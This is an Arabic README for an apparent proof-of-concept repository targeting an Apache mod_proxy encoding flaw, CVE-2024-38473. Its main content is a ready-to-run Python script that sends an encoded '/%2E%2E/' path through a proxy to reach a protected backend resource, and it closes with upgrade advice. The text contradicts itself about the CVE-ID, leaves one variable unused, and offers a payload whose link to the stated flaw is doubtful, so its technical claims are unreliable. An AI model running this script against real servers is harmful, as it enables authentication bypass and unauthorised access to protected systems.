
نصوص برمجية لإثبات المفهوم توضح ثغرة في الترميز في وحدة mod_proxy لخادم Apache HTTP (CVE-2024-38473) تسمح بتجاوز المصادقة عبر عناوين URL مصممة لخدمات الخلفية.
يحتوي هذا المستودع على نصوص إثبات المفهوم (PoC) لإظهار مشكلة ترميز في وحدة mod_proxy في إصدارات خادم Apache HTTP 2.4.59 وما قبلها. تسمح هذه الثغرة بإرسال عناوين URL للطلبات ذات الترميز غير الصحيح إلى الخدمات الخلفية، مما قد يؤدي إلى تجاوز المصادقة عبر طلبات مصممة.
CVE-ID: (قيد الانتظار)
نظرة عامة:
مشكلة ترميز في وحدة mod_proxy في إصدارات خادم Apache HTTP 2.4.59 وما قبلها تسمح بإرسال عناوين URL للطلبات ذات الترميز غير الصحيح إلى الخدمات الخلفية. يمكن أن يؤدي هذا إلى تجاوز آليات المصادقة عبر طلبات مصممة. يُنصح المستخدمون بالترقية إلى الإصدار 2.4.60 الذي يعمل على إصلاح هذه المشكلة.
الإصدارات المتأثرة:
الإصدار المُصلَح:
requests (pip install requests)تحديد الخدمة الخلفية:
http://backend-service.example.com.صياغة طلب ضار:
تشغيل نص PoC:
mod_proxy_poc.py وقم بتشغيله.إليك نص Python الذي يعرض الثغرة:
import requests
# التهيئة
proxy_url = "http://proxy-server.example.com" # قم بتغيير هذا إلى عنوان URL الخاص بالخادم الوسيط
backend_service_path = "/protected/resource" # المسار إلى المورد المحمي في الخدمة الخلفية
malicious_path = "/%2E%2E/protected/resource" # مسار مشفر بشكل غير صحيح لتجاوز المصادقة
# الطلب الضار الذي سيتم إرساله عبر الخادم الوسيط
malicious_url = f"{proxy_url}{malicious_path}"
def send_malicious_request():
try:
# إرسال الطلب المصمم إلى الخادم الوسيط
response = requests.get(malicious_url)
# طباعة تفاصيل الاستجابة
print("حالة الاستجابة:", response.status_code)
print("رؤوس الاستجابة:", response.headers)
print("محتوى الاستجابة:", response.text)
if response.status_code == 200:
print("[+] تم تجاوز المصادقة بنجاح والوصول إلى المورد المحمي.")
else:
print("[-] فشل في تجاوز المصادقة.")
except Exception as e:
print("[-] حدث خطأ:", str(e))
if __name__ == "__main__":
send_malicious_request()
التهيئة:
proxy_url: عنوان URL للخادم الوسيط.backend_service_path: المسار إلى المورد المحمي في الخدمة الخلفية.malicious_path: المسار المشفر بشكل غير صحيح لتجاوز المصادقة.send_malicious_request:
لتخفيف هذه الثغرة، قم بالترقية إلى خادم Apache HTTP الإصدار 2.4.60، الذي يعمل على إصلاح مشكلة الترميز في وحدة mod_proxy.
من خلال الحفاظ على تحديث برامجك واتباع أفضل ممارسات الأمان، يمكنك منع ثغرات مثل مشكلة الترميز هذه في وحدة mod_proxy.